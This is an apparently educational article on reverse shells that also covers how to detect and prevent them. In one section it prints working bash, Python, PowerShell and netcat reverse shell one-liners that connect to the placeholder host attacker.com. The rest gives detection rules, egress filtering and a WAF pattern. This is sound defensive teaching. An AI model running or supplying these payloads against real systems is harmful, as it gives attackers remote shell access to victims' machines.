A reverse shell is a technique where the victim machine initiates a connection back to the attacker’s server, rather than the attacker connecting to the victim. This bypasses firewalls and NAT — which typically block incoming connections but allow outbound traffic. Understanding reverse shells is essential for both penetration testers and defenders.
Why Reverse Shells?
# Traditional "bind shell": attacker connects TO victim
# victim opens port: nc -lvp 4444 -e /bin/bash
# attacker connects: nc 192.168.1.100 4444
# PROBLEM: Victim firewall blocks incoming connections
# Reverse shell: victim connects TO attacker
# attacker listens: nc -lvp 4444
# victim connects back: nc attacker.com 4444 -e /bin/bash
# WORKS because outbound connections are usually allowed!Common Reverse Shell Payloads (For Educational Awareness)
# Bash reverse shell:
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Python reverse shell:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
# PowerShell reverse shell (Windows):
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('attacker.com',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sB=[text.encoding]::ASCII.GetBytes($r2);$s.Write($sB,0,$sB.Length)}"
# These are used by attackers after exploiting vulnerabilities
# Also used legitimately by penetration testers during authorized assessmentsDetection: How to Catch Reverse Shells
# 1. Detect /dev/tcp usage in bash (Linux):
# Auditd rule - monitor /dev/tcp access:
auditctl -a always,exit -F arch=b64 -S socket -F a0=2 -k tcp_connect
# Suspicious bash command pattern (Zeek or SIEM):
# Shell interpreter spawning network connection = red flag
# 2. Detect unusual parent-child process relationships:
# Sysmon Event ID 1 (Process Create):
# Web server (httpd, nginx, java) spawning bash/sh = CRITICAL ALERT!
# Expected: httpd -> httpd worker
# Suspicious: httpd -> /bin/bash -> nc (reverse shell via web exploit)
# Sysmon config (sysmonconfig.xml):
# <Rule groupRelation="and">
# <ParentImage condition="contains">httpd</ParentImage>
# <Image condition="contains">bash</Image>
# </Rule>
# 3. Network: outbound connections on unusual ports from servers:
# Production web servers should only make outbound connections to:
# - Known APIs/services
# - Package repositories (apt, yum)
# Any connection to unknown external IP on port 4444, 1234, 8888 = suspicious
# 4. Hunt for interactive shells on non-interactive users:
# Service accounts (www-data, nginx, postgres) should NEVER have interactive shell
ps aux | grep -E "bash|sh|zsh" | grep -v "root|user"
# Any service account with a shell = investigatePrevention
# 1. Egress filtering (most impactful):
# Servers should only make outbound connections to known destinations
# iptables - default deny outbound, whitelist only needed:
iptables -P OUTPUT DROP
iptables -A OUTPUT -d 0.0.0.0/0 -p tcp --dport 443 -j ACCEPT # HTTPS to internet
iptables -A OUTPUT -d 10.0.0.0/8 -j ACCEPT # Internal only
# Any reverse shell attempt will be blocked
# 2. Application containers:
# Containers with read-only filesystems can't write malware:
docker run --read-only --tmpfs /tmp myapp
# 3. SELinux/AppArmor:
# Confine web server to only allowed operations
# httpd cannot spawn shells even if compromised:
# SELinux: httpd_t domain has no permission to exec /bin/bash
# 4. Web Application Firewall:
# ModSecurity blocks common reverse shell payloads in HTTP requests:
SecRule ARGS "@rx (?:/dev/tcp|execs+/bin)" "id:1001,deny,status:403"Wrap Up
Reverse shells are the attacker’s method of choice for maintaining access after initial exploitation. The best defense is egress filtering — if outbound connections are blocked, reverse shells can’t call home. Combine this with Sysmon monitoring for unusual parent-child processes and you’ll catch reverse shell attempts even when they bypass other defenses.